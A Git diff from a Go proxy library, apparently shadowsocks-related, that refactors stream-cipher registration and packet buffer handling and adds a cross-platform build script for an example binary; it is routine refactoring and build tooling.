RegisterCipher("cast5-cfb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("cast5-cfb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 16,
|
||||
IVLength: cast5.BlockSize,
|
||||
|
@ -173,7 +172,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(func(key []byte) (cipher.Block, error) { return cast5.NewCipher(key) }, cipher.NewCFBDecrypter),
|
||||
}
|
||||
})
|
||||
RegisterCipher("des-cfb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("des-cfb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 8,
|
||||
IVLength: des.BlockSize,
|
||||
|
@ -181,7 +180,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(des.NewCipher, cipher.NewCFBDecrypter),
|
||||
}
|
||||
})
|
||||
RegisterCipher("idea-cfb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("idea-cfb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 16,
|
||||
IVLength: 8,
|
||||
|
@ -189,7 +188,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(idea.NewCipher, cipher.NewCFBDecrypter),
|
||||
}
|
||||
})
|
||||
RegisterCipher("rc2-cfb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("rc2-cfb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 16,
|
||||
IVLength: rc2.BlockSize,
|
||||
|
@ -197,7 +196,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(func(key []byte) (cipher.Block, error) { return rc2.New(key, 16) }, cipher.NewCFBDecrypter),
|
||||
}
|
||||
})
|
||||
RegisterCipher("seed-cfb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("seed-cfb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 16,
|
||||
IVLength: seed.BlockSize,
|
||||
|
@ -206,7 +205,7 @@ func init() {
|
|||
}
|
||||
})
|
||||
|
||||
RegisterCipher("camellia-128-cfb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("camellia-128-cfb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 16,
|
||||
IVLength: camellia.BlockSize,
|
||||
|
@ -214,7 +213,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(camellia.New, cipher.NewCFBDecrypter),
|
||||
}
|
||||
})
|
||||
RegisterCipher("camellia-192-cfb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("camellia-192-cfb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 24,
|
||||
IVLength: camellia.BlockSize,
|
||||
|
@ -222,7 +221,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(camellia.New, cipher.NewCFBDecrypter),
|
||||
}
|
||||
})
|
||||
RegisterCipher("camellia-256-cfb", func() Cipher {
|
||||
shadowsocks.RegisterCipher("camellia-256-cfb", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 32,
|
||||
IVLength: camellia.BlockSize,
|
||||
|
@ -231,7 +230,7 @@ func init() {
|
|||
}
|
||||
})
|
||||
|
||||
RegisterCipher("camellia-128-cfb8", func() Cipher {
|
||||
shadowsocks.RegisterCipher("camellia-128-cfb8", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 16,
|
||||
IVLength: camellia.BlockSize,
|
||||
|
@ -239,7 +238,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(camellia.New, cfb8.NewDecrypter),
|
||||
}
|
||||
})
|
||||
RegisterCipher("camellia-192-cfb8", func() Cipher {
|
||||
shadowsocks.RegisterCipher("camellia-192-cfb8", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 24,
|
||||
IVLength: camellia.BlockSize,
|
||||
|
@ -247,7 +246,7 @@ func init() {
|
|||
DecryptConstructor: blockStream(camellia.New, cfb8.NewDecrypter),
|
||||
}
|
||||
})
|
||||
RegisterCipher("camellia-256-cfb8", func() Cipher {
|
||||
shadowsocks.RegisterCipher("camellia-256-cfb8", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 32,
|
||||
IVLength: camellia.BlockSize,
|
||||
|
@ -256,7 +255,7 @@ func init() {
|
|||
}
|
||||
})
|
||||
|
||||
RegisterCipher("salsa20", func() Cipher {
|
||||
shadowsocks.RegisterCipher("salsa20", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: 32,
|
||||
IVLength: 8,
|
||||
|
@ -265,7 +264,7 @@ func init() {
|
|||
}
|
||||
})
|
||||
|
||||
RegisterCipher("chacha20-ietf", func() Cipher {
|
||||
shadowsocks.RegisterCipher("chacha20-ietf", func() shadowsocks.Cipher {
|
||||
return &StreamCipher{
|
||||
KeyLength: chacha.KeySize,
|
||||
IVLength: chacha.INonceSize,
|
||||
|
@ -321,22 +320,22 @@ func (s *StreamCipher) NewDecryptionReader(key []byte, iv []byte, reader io.Read
|
|||
return &StreamReader{reader, streamCipher}, nil
|
||||
}
|
||||
|
||||
func (s *StreamCipher) EncodePacket(key []byte, buffer *bytes.Buffer) error {
|
||||
iv := buffer.Bytes()[:s.IVLength]
|
||||
func (s *StreamCipher) EncodePacket(key []byte, buffer *buf.Buffer) error {
|
||||
iv := buffer.To(s.IVLength)
|
||||
streamCipher, err := s.EncryptConstructor(key, iv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data := buffer.Bytes()[s.IVLength:]
|
||||
data := buffer.From(s.IVLength)
|
||||
streamCipher.XORKeyStream(data, data)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *StreamCipher) DecodePacket(key []byte, buffer *bytes.Buffer) error {
|
||||
func (s *StreamCipher) DecodePacket(key []byte, buffer *buf.Buffer) error {
|
||||
if buffer.Len() <= s.IVLength {
|
||||
return exceptions.New("insufficient data: ", buffer.Len())
|
||||
}
|
||||
iv := buffer.Bytes()[:s.IVLength]
|
||||
iv := buffer.From(s.IVLength)
|
||||
streamCipher, err := s.DecryptConstructor(key, iv)
|
||||
if err != nil {
|
||||
return err
|
||||
|
@ -352,6 +351,18 @@ type StreamReader struct {
|
|||
cipher cipher.Stream
|
||||
}
|
||||
|
||||
func (r *StreamReader) Upstream() io.Reader {
|
||||
return r.upstream
|
||||
}
|
||||
|
||||
func (r *StreamReader) Process(p []byte, readN int) (n int, err error) {
|
||||
n = readN
|
||||
if n > 0 {
|
||||
r.cipher.XORKeyStream(p[:n], p[:n])
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (r *StreamReader) Read(p []byte) (n int, err error) {
|
||||
n, err = r.upstream.Read(p)
|
||||
if err != nil {
|
||||
|
@ -368,6 +379,16 @@ type StreamWriter struct {
|
|||
cipher cipher.Stream
|
||||
}
|
||||
|
||||
func (w *StreamWriter) Upstream() io.Writer {
|
||||
return w.upstream
|
||||
}
|
||||
|
||||
func (w *StreamWriter) Process(p []byte) (n int, buffer *buf.Buffer, flush bool, err error) {
|
||||
w.cipher.XORKeyStream(p, p)
|
||||
n = len(p)
|
||||
return
|
||||
}
|
||||
|
||||
func (w *StreamWriter) Write(p []byte) (n int, err error) {
|
||||
w.cipher.XORKeyStream(p, p)
|
||||
return w.upstream.Write(p)
|
25
shadowboom.sh
Executable file
25
shadowboom.sh
Executable file
|
@ -0,0 +1,25 @@
|
|||
#!/bin/bash
|
||||
|
||||
build() {
|
||||
go build -v -o "$1" -trimpath -buildinfo=false -buildvcs=false -ldflags "-s -w -buildid=" ./example/shadowboom
|
||||
}
|
||||
|
||||
export GOARCH=amd64
|
||||
build sing_shadowboom_amd64
|
||||
|
||||
export GOARCH=386
|
||||
build sing_shadowboom_386
|
||||
|
||||
export GOARCH=arm64
|
||||
build sing_shadowboom_arm64
|
||||
|
||||
export GOOS=windows
|
||||
|
||||
export GOARCH=amd64
|
||||
build sing_shadowboom_amd64.exe
|
||||
|
||||
export GOARCH=386
|
||||
build sing_shadowboom_386.exe
|
||||
|
||||
export GOARCH=arm64
|
||||
build sing_shadowboom_arm64.exe
|
Loading…
Add table
Add a link
Reference in a new issue